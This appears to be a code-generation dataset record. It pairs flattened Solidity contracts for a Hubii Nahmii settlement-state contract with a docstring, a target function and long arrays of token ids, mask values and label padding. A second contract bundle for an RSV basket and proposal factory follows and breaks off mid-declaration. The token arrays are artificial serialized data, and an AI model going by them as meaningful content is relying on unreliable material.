IntendedConjugateCurrency { MonetaryTypesLib.Currency intended; MonetaryTypesLib.Currency conjugate; } struct SingleFigureTotalOriginFigures { MonetaryTypesLib.Figure single; OriginFigure[] total; } struct TotalOriginFigures { OriginFigure[] total; } struct CurrentPreviousInt256 { int256 current; int256 previous; } struct SingleTotalInt256 { int256 single; int256 total; } struct IntendedConjugateCurrentPreviousInt256 { CurrentPreviousInt256 intended; CurrentPreviousInt256 conjugate; } struct IntendedConjugateSingleTotalInt256 { SingleTotalInt256 intended; SingleTotalInt256 conjugate; } struct WalletOperatorHashes { bytes32 wallet; bytes32 operator; } struct Signature { bytes32 r; bytes32 s; uint8 v; } struct Seal { bytes32 hash; Signature signature; } struct WalletOperatorSeal { Seal wallet; Seal operator; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title DriipSettlementTypesLib * @dev Types for driip settlements */ library DriipSettlementTypesLib { // // Structures // ----------------------------------------------------------------------------------------------------------------- enum SettlementRole {Origin, Target} struct SettlementParty { uint256 nonce; address wallet; bool done; uint256 doneBlockNumber; } struct Settlement { string settledKind; bytes32 settledHash; SettlementParty origin; SettlementParty target; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title DriipSettlementState * @notice Where driip settlement state is managed */ contract DriipSettlementState is Ownable, Servable, CommunityVotable { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; // // Constants // ----------------------------------------------------------------------------------------------------------------- string constant public INIT_SETTLEMENT_ACTION = "init_settlement"; string constant public SET_SETTLEMENT_ROLE_DONE_ACTION = "set_settlement_role_done"; string constant public SET_MAX_NONCE_ACTION = "set_max_nonce"; string constant public SET_FEE_TOTAL_ACTION = "set_fee_total"; // // Variables // ----------------------------------------------------------------------------------------------------------------- uint256 public maxDriipNonce; DriipSettlementTypesLib.Settlement[] public settlements; mapping(address => uint256[]) public walletSettlementIndices; mapping(address => mapping(uint256 => uint256)) public walletNonceSettlementIndex; mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce; mapping(address => mapping(address => mapping(address => mapping(address => mapping(uint256 => MonetaryTypesLib.NoncedAmount))))) public totalFeesMap; bool public upgradesFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event InitSettlementEvent(DriipSettlementTypesLib.Settlement settlement); event CompleteSettlementPartyEvent(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done, uint256 doneBlockNumber); event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency, uint256 maxNonce); event SetMaxDriipNonceEvent(uint256 maxDriipNonce); event UpdateMaxDriipNonceFromCommunityVoteEvent(uint256 maxDriipNonce); event SetTotalFeeEvent(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount totalFee); event FreezeUpgradesEvent(); event UpgradeSettlementEvent(DriipSettlementTypesLib.Settlement settlement); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the count of settlements function settlementsCount() public view returns (uint256) { return settlements.length; } /// @notice Get the count of settlements for given wallet /// @param wallet The address for which to return settlement count /// @return count of settlements for the provided wallet function settlementsCountByWallet(address wallet) public view returns (uint256) { return walletSettlementIndices[wallet].length; } /// @notice Get settlement of given wallet and index /// @param wallet The address for which to return settlement /// @param index The wallet's settlement index /// @return settlement for the provided wallet and index function settlementByWalletAndIndex(address wallet, uint256 index) public view returns (DriipSettlementTypesLib.Settlement memory) { require(walletSettlementIndices[wallet].length > index, "Index out of bounds [DriipSettlementState.sol:107]"); return settlements[walletSettlementIndices[wallet][index] - 1]; } /// @notice Get settlement of given wallet and wallet nonce /// @param wallet The address for which to return settlement /// @param nonce The wallet's nonce /// @return settlement for the provided wallet and index function settlementByWalletAndNonce(address wallet, uint256 nonce) public view returns (DriipSettlementTypesLib.Settlement memory) { require(0 != walletNonceSettlementIndex[wallet][nonce], "No settlement found for wallet and nonce [DriipSettlementState.sol:120]"); return settlements[walletNonceSettlementIndex[wallet][nonce] - 1]; } /// @notice Initialize settlement, i.e. create one if no such settlement exists /// for the double pair of wallets and nonces /// @param settledKind The kind of driip of the settlement /// @param settledHash The hash of driip of the settlement /// @param originWallet The address of the origin wallet /// @param originNonce The wallet nonce of the origin wallet /// @param targetWallet The address of the target wallet /// @param targetNonce The wallet nonce of the target wallet function initSettlement(string memory settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, address targetWallet, uint256 targetNonce) public onlyEnabledServiceAction(INIT_SETTLEMENT_ACTION) { if ( 0 == walletNonceSettlementIndex[originWallet][originNonce] && 0 == walletNonceSettlementIndex[targetWallet][targetNonce] ) { // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; // Emit event emit InitSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } } /// @notice Set the done of the given settlement role in the given settlement /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @param done The done flag function completeSettlementParty(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done) public onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:181]"); // Get the settlement party DriipSettlementTypesLib.SettlementParty storage party = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Update party done and done block number properties party.done = done; party.doneBlockNumber = done ? block.number : 0; // Emit event emit CompleteSettlementPartyEvent(wallet, nonce, settlementRole, done, party.doneBlockNumber); } /// @notice Gauge whether the settlement is done wrt the given wallet and nonce /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @return True if settlement is done for role, else false function isSettlementPartyDone(address wallet, uint256 nonce) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Return done return ( wallet == settlements[index - 1].origin.wallet ? settlements[index - 1].origin.done : settlements[index - 1].target.done ); } /// @notice Gauge whether the settlement is done wrt the given wallet, nonce /// and settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return True if settlement is done for role, else false function isSettlementPartyDone(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Get the settlement party DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Require that wallet is party of the right role require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:246]"); // Return done return settlementParty.done; } /// @notice Get the done block number of the settlement party with the given wallet and nonce /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @return The done block number of the settlement wrt the given settlement role function settlementPartyDoneBlockNumber(address wallet, uint256 nonce) public view returns (uint256) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:265]"); // Return done block number return ( wallet == settlements[index - 1].origin.wallet ? settlements[index - 1].origin.doneBlockNumber : settlements[index - 1].target.doneBlockNumber ); } /// @notice Get the done block number of the settlement party with the given wallet, nonce and settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return The done block number of the settlement wrt the given settlement role function settlementPartyDoneBlockNumber(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (uint256) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:290]"); // Get the settlement party DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Require that wallet is party of the right role require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:298]"); // Return done block number return settlementParty.doneBlockNumber; } /// @notice Set the max (driip) nonce /// @param _maxDriipNonce The max nonce function setMaxDriipNonce(uint256 _maxDriipNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { maxDriipNonce = _maxDriipNonce; // Emit event emit SetMaxDriipNonceEvent(maxDriipNonce); } /// @notice Update the max driip nonce property from CommunityVote contract function updateMaxDriipNonceFromCommunityVote() public { uint256 _maxDriipNonce = communityVote.getMaxDriipNonce(); if (0 == _maxDriipNonce) return; maxDriipNonce = _maxDriipNonce; // Emit event emit UpdateMaxDriipNonceFromCommunityVoteEvent(maxDriipNonce); } /// @notice Get the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @return The max nonce function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency) public view returns (uint256) { return walletCurrencyMaxNonce[wallet][currency.ct][currency.id]; } /// @notice Set the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @param maxNonce The max nonce function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency, uint256 maxNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { // Update max nonce value walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = maxNonce; // Emit event emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, maxNonce); } /// @notice Get the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param currency The concerned currency /// @return The total fee function totalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency memory currency) public view returns (MonetaryTypesLib.NoncedAmount memory) { return totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id]; } /// @notice Set the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param _totalFee The total fee function setTotalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency memory currency, MonetaryTypesLib.NoncedAmount memory _totalFee) public onlyEnabledServiceAction(SET_FEE_TOTAL_ACTION) { // Update total fees value totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id] = _totalFee; // Emit event emit SetTotalFeeEvent(wallet, beneficiary, destination, currency, _totalFee); } /// @notice Freeze all future settlement upgrades /// @dev This operation can not be undone function freezeUpgrades() public onlyDeployer { // Freeze upgrade upgradesFrozen = true; // Emit event emit FreezeUpgradesEvent(); } /// @notice Upgrade settlement from other driip settlement state instance function upgradeSettlement(string memory settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, bool originDone, uint256 originDoneBlockNumber, address targetWallet, uint256 targetNonce, bool targetDone, uint256 targetDoneBlockNumber) public onlyDeployer { // Require that upgrades have not been frozen require(!upgradesFrozen, "Upgrades have been frozen [DriipSettlementState.sol:413]"); // Require that settlement has not been initialized/upgraded already require(0 == walletNonceSettlementIndex[originWallet][originNonce], "Settlement exists for origin wallet and nonce [DriipSettlementState.sol:416]"); require(0 == walletNonceSettlementIndex[targetWallet][targetNonce], "Settlement exists for target wallet and nonce [DriipSettlementState.sol:417]"); // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].origin.done = originDone; settlements[index].origin.doneBlockNumber = originDoneBlockNumber; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; settlements[index].target.done = targetDone; settlements[index].target.doneBlockNumber = targetDoneBlockNumber; // Emit event emit UpgradeSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } }
@notice Get the done block number of the settlement party with the given wallet, nonce and settlement role @param wallet The address of the concerned wallet @param nonce The nonce of the concerned wallet @param settlementRole The settlement role @return The done block number of the settlement wrt the given settlement role Get the 1-based index of the settlement Require the existence of settlement Get the settlement party Require that wallet is party of the right role Return done block number
function settlementPartyDoneBlockNumber(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (uint256) { uint256 index = walletNonceSettlementIndex[wallet][nonce]; require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:290]"); DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:298]"); return settlementParty.doneBlockNumber; }
1,006,111
[ 1, 967, 326, 2731, 1203, 1300, 434, 326, 26319, 806, 18285, 598, 326, 864, 9230, 16, 7448, 471, 26319, 806, 2478, 225, 9230, 1021, 1758, 434, 326, 356, 2750, 11748, 9230, 225, 7448, 1021, 7448, 434, 326, 356, 2750, 11748, 9230, 225, 26319, 806, 2996, 1021, 26319, 806, 2478, 327, 1021, 2731, 1203, 1300, 434, 326, 26319, 806, 31565, 326, 864, 26319, 806, 2478, 968, 326, 404, 17, 12261, 770, 434, 326, 26319, 806, 12981, 326, 15782, 434, 26319, 806, 968, 326, 26319, 806, 18285, 12981, 716, 9230, 353, 18285, 434, 326, 2145, 2478, 2000, 2731, 1203, 1300, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 26319, 806, 17619, 7387, 1768, 1854, 12, 2867, 9230, 16, 2254, 5034, 7448, 16, 203, 3639, 463, 566, 625, 694, 88, 806, 2016, 5664, 18, 694, 88, 806, 2996, 26319, 806, 2996, 13, 203, 565, 1071, 203, 565, 1476, 203, 565, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2254, 5034, 770, 273, 9230, 13611, 694, 88, 806, 1016, 63, 19177, 6362, 12824, 15533, 203, 203, 3639, 2583, 12, 20, 480, 770, 16, 315, 2279, 26319, 806, 1392, 364, 9230, 471, 7448, 306, 40, 566, 625, 694, 88, 806, 1119, 18, 18281, 30, 5540, 20, 4279, 1769, 203, 203, 3639, 463, 566, 625, 694, 88, 806, 2016, 5664, 18, 694, 88, 806, 17619, 2502, 26319, 806, 17619, 273, 203, 3639, 463, 566, 625, 694, 88, 806, 2016, 5664, 18, 694, 88, 806, 2996, 18, 7571, 422, 26319, 806, 2996, 692, 203, 3639, 26319, 806, 87, 63, 1615, 300, 404, 8009, 10012, 294, 26319, 806, 87, 63, 1615, 300, 404, 8009, 3299, 31, 203, 203, 3639, 2583, 12, 19177, 422, 26319, 806, 17619, 18, 19177, 16, 315, 16936, 711, 7194, 26319, 806, 2478, 306, 40, 566, 625, 694, 88, 806, 1119, 18, 18281, 30, 5540, 28, 4279, 1769, 203, 203, 3639, 327, 26319, 806, 17619, 18, 8734, 1768, 1854, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.7; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Basket { address[] public tokens; mapping(address => uint256) public weights; // unit: aqToken/RSV mapping(address => bool) public has; // INVARIANT: {addr | addr in tokens} == {addr | has[addr] == true} // SECURITY PROPERTY: The value of prev is always a Basket, and cannot be set by any user. // WARNING: A basket can be of size 0. It is the Manager's responsibility // to ensure Issuance does not happen against an empty basket. /// Construct a new basket from an old Basket `prev`, and a list of tokens and weights with /// which to update `prev`. If `prev == address(0)`, act like it's an empty basket. constructor(Basket trustedPrev, address[] memory _tokens, uint256[] memory _weights) public { require(_tokens.length == _weights.length, "Basket: unequal array lengths"); // Initialize data from input arrays tokens = new address[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { require(!has[_tokens[i]], "duplicate token entries"); weights[_tokens[i]] = _weights[i]; has[_tokens[i]] = true; tokens[i] = _tokens[i]; } // If there's a previous basket, copy those of its contents not already set. if (trustedPrev != Basket(0)) { for (uint256 i = 0; i < trustedPrev.size(); i++) { address tok = trustedPrev.tokens(i); if (!has[tok]) { weights[tok] = trustedPrev.weights(tok); has[tok] = true; tokens.push(tok); } } } require(tokens.length <= 10, "Basket: bad length"); } function getTokens() external view returns(address[] memory) { return tokens; } function size() external view returns(uint256) { return tokens.length; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IRSV { // Standard ERC20 functions function transfer(address, uint256) external returns(bool); function approve(address, uint256) external returns(bool); function transferFrom(address, address, uint256) external returns(bool); function totalSupply() external view returns(uint256); function balanceOf(address) external view returns(uint256); function allowance(address, address) external view returns(uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // RSV-specific functions function decimals() external view returns(uint8); function mint(address, uint256) external; function burnFrom(address, uint256) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _nominatedOwner; event NewOwnerNominated(address indexed previousOwner, address indexed nominee); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the current nominated owner. */ function nominatedOwner() external view returns (address) { return _nominatedOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _onlyOwner(); _; } function _onlyOwner() internal view { require(_msgSender() == _owner, "caller is not owner"); } /** * @dev Nominates a new owner `newOwner`. * Requires a follow-up `acceptOwnership`. * Can only be called by the current owner. */ function nominateNewOwner(address newOwner) external onlyOwner { require(newOwner != address(0), "new owner is 0 address"); emit NewOwnerNominated(_owner, newOwner); _nominatedOwner = newOwner; } /** * @dev Accepts ownership of the contract. */ function acceptOwnership() external { require(_nominatedOwner == _msgSender(), "unauthorized"); emit OwnershipTransferred(_owner, _nominatedOwner); _owner = _nominatedOwner; } /** Set `_owner` to the 0 address. * Only do this to deliberately lock in the current permissions. * * THIS CANNOT BE UNDONE! Call this only if you know what you're doing and why you're doing it! */ function renounceOwnership(string calldata declaration) external onlyOwner { string memory requiredDeclaration = "I hereby renounce ownership of this contract forever."; require( keccak256(abi.encodePacked(declaration)) == keccak256(abi.encodePacked(requiredDeclaration)), "declaration incorrect"); emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IProposal { function proposer() external returns(address); function accept(uint256 time) external; function cancel() external; function complete(IRSV rsv, Basket oldBasket) external returns(Basket); function nominateNewOwner(address newOwner) external; function acceptOwnership() external; } interface IProposalFactory { function createSwapProposal(address, address[] calldata tokens, uint256[] calldata amounts, bool[] calldata toVault ) external returns (IProposal); function createWeightProposal(address proposer, Basket basket) external returns (IProposal); } contract ProposalFactory is IProposalFactory { function createSwapProposal( address proposer, address[] calldata tokens, uint256[] calldata amounts, bool[] calldata toVault ) external returns (IProposal) { IProposal proposal = IProposal(new SwapProposal(proposer, tokens, amounts, toVault)); proposal.nominateNewOwner(msg.sender); return proposal; } function createWeightProposal(address proposer, Basket basket) external returns 